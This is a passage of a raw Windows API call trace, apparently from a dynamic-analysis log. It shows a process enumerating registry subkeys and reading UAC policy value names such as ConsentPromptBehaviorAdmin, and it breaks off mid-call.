lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0038.227] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x94b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x94b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x94c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x94b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x94c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x94b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x94c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x94b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x94c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x94b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x94c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x94b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x94c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0038.228] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x94b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x94c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0038.229] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x94b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x94c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0038.229] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x94b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0038.229] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x94b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0038.229] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x94b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x94c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0038.229] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x94b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0038.229] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x94b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0038.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x94b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x94b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x94b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x94b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x94c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x94b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x94c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x94b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0038.230] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x94b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x94b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x94c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x94b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x94c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x94b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x94b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x94c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x94b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x94c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x94b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0038.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x94b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x94c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0038.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x94b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x94c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0038.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x94b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x94c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0038.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x94b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0038.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x94b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0038.232] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0038.232] RegCloseKey (hKey=0x34) returned 0x0 [0038.232] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x94b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0038.233] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x94b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x94c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0038.233] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x94b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x94c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0038.233] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x94b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0038.233] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x94b930, cchName=0x104 | out: lpName="System") returned 0x0 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x94c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0038.233] RegOpenKeyExW (in: hKey=0x90, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0038.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b930) returned 1 [0038.233] RegCloseKey (hKey=0x90) returned 0x0 [0038.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b860) returned 1 [0038.233] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 